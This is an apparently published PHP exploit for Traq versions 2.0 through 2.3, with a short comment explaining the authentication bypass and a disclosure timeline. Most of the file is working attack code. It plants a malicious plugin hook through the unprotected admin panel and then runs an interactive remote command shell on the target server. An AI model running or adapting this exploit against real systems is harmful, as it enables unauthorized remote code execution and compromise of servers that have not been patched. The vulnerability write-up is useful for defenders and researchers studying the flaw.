Traq 2.3 – Authentication Bypass / Remote Code Execution
<?php /* ----------------------------------------------------------------- Traq <= 2.3 Authentication Bypass / Remote Code Execution Exploit ----------------------------------------------------------------- author...............: Egidio Romano aka EgiX mail.................: n0b0d13s[at]gmail[dot]com software link........: http://traqproject.org/ affected versions....: from 2.0 to 2.3 +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in authenticate() function defined into /admincp/common.php 27. function authenticate() 28. { 29. global $user; 30. 31. if(!$user->group['is_admin']) 32. header("Location: login.php"); 33. } This function is called in each script located into /admicp/ directory to make sure the user has admin rights, but this is a broken authorization schema due to the header() function doesn't stop the execution flow. This can be exploited by malicious users to execute admin functionality, resulting for e.g. in execution of arbitrary PHP code leveraging of plugins.php functionality. [-] Disclosure timeline: [25/11/2011] - Vulnerability discovered [26/11/2011] - Vendor notified via email [28/11/2011] - Issue reported to http://traqproject.org/forum/ [02/12/2011] - Vendor notified again via email [02/12/2011] - Vendor fix released with version 2.3.1 [07/12/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die("\n[-] No response from {$host}:80\n"); fputs($sock, $packet); return stream_get_contents($sock); } print "\n+---------------------------------------------------+"; print "\n| Traq <= 2.3 Remote Code Execution Exploit by EgiX |"; print "\n+---------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /traq/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $phpcode = "error_reporting(0);print(___);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;"; $payload = "plugin_id=1&title=1&execorder=0&hook=template_footer&code={$phpcode}"; $packet = "POST {$path}admincp/plugins.php?newhook HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; if (!preg_match("/php\?created/", http_send($host, $packet))) die("\n[-] Plugin creation failed!\n"); $packet = "GET {$path}index.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\ntraq-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match("/___(.*)/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?> |